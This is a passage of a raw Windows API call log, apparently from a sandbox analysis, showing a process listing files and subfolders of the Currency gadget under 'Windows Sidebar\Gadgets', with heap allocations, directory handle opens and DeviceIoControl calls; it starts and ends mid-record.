Size=0x80) returned 0x12efb40 [0090.017] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0090.018] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6868 [0090.018] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0090.018] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x131d9e0 [0090.018] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9080 [0090.018] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea8d4f6, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.019] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcbcdf03, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbcbcdf03, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbb6510fc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x406b, dwReserved0=0x0, dwReserved1=0x0, cFileName="drag.png", cAlternateFileName="")) returned 1 [0090.019] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0090.019] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0090.019] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0090.019] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0090.019] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0090.020] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x131dae8 [0090.020] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0090.020] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f2458 [0090.020] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x131dbf0 [0090.021] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0090.021] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a11cd0, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0090.021] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb67725c, ftCreationTime.dwHighDateTime=0x1c9ea13, ftLastAccessTime.dwLowDateTime=0xbb67725c, ftLastAccessTime.dwHighDateTime=0x1c9ea13, ftLastWriteTime.dwLowDateTime=0xbb67725c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1ae9, dwReserved0=0x0, dwReserved1=0x0, cFileName="icon.png", cAlternateFileName="")) returned 1 [0090.021] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0090.021] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0090.021] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0090.022] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0090.022] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0090.022] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f2478 [0090.022] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x131eb68 [0090.022] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0090.022] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x819b78df, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x819b78df, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0090.022] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcba7da4, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbcba7da4, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbb8d885c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x172a, dwReserved0=0x0, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 1 [0090.022] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0090.023] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0090.023] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0090.023] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0090.023] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0090.024] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f2498 [0090.024] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x131ec70 [0090.024] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0090.024] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcba7da4, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbcba7da4, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbb8d885c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x172a, dwReserved0=0x0, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 0 [0090.024] GetLastError () returned 0x12 [0090.024] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e91c0 [0090.024] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0090.024] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea8d4f6, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.024] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcbcdf03, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbcbcdf03, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbb6510fc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x406b, dwReserved0=0x0, dwReserved1=0x0, cFileName="drag.png", cAlternateFileName="")) returned 1 [0090.024] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a11cd0, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0090.025] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x131ed78 [0090.025] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\currency.gadget\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a11cd0, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0090.025] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\currency.gadget\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0090.025] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0090.025] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1333760 [0090.026] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1333760, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1333760, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0090.026] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1333760) returned 1 [0090.026] NtClose (Handle=0x164) returned 0x0 [0090.026] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x131ed78) returned 1 [0090.026] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0090.027] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0090.027] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x131ed78 [0090.027] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0090.027] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x131ee80 [0090.027] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9080 [0090.028] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a11cd0, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.028] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a11cd0, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1 [0090.028] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1792, dwReserved0=0x0, dwReserved1=0x0, cFileName="currency.html", cAlternateFileName="")) returned 1 [0090.028] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0090.028] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0090.028] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0090.029] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0090.029] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0090.029] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x131ef88 [0090.029] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0090.029] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f24b8 [0090.029] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x131f090 [0090.030] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x9100) returned 0x1333760 [0090.031] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x7a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="gadget.xml", cAlternateFileName="")) returned 1 [0090.031] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0090.031] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0090.031] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0090.031] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0090.031] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0090.032] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f24d8 [0090.032] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x131f198 [0090.032] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0090.032] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a11cd0, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0090.032] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a11cd0, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0090.032] GetLastError () returned 0x12 [0090.032] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0090.032] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0090.033] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a11cd0, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.033] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a11cd0, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1 [0090.033] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x131f2a0 [0090.033] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\css" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\currency.gadget\\en-us\\css"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a11cd0, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0090.033] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\css" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\currency.gadget\\en-us\\css"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0090.033] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0090.034] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x133c868 [0090.034] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x133c868, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x133c868, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0090.034] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x133c868) returned 1 [0090.034] NtClose (Handle=0x164) returned 0x0 [0090.034] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x131f2a0) returned 1 [0090.034] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0090.035] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0090.035] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x131f2a0 [0090.035] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0090.035] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x131f3a8 [0090.035] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\css\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9080 [0090.036] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a11cd0, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.036] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4c2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="currency.css", cAlternateFileName="")) returned 1 [0090.036] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0090.036] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0090.036] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0090.037] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0090.037] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0090.037] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x131f4b0 [0090.037] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0090.037] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f24f8 [0090.037] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x131f5b8 [0090.038] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0090.038] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4c2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="currency.css", cAlternateFileName="")) returned 0 [0090.038] GetLastError () returned 0x12 [0090.038] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\css\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e8f40 [0090.038] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0090.038] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a11cd0, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.038] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4c2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="currency.css", cAlternateFileName="")) returned 1 [0090.038] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4c2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="currency.css", cAlternateFileName="")) returned 0 [0090.038] GetLastError () returned 0x12 [0090.038] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x131f3a8) returned 1 [0090.038] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0090.039] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x131f4b0) returned 1 [0090.039] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x131f2a0) returned 1 [0090.039] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: 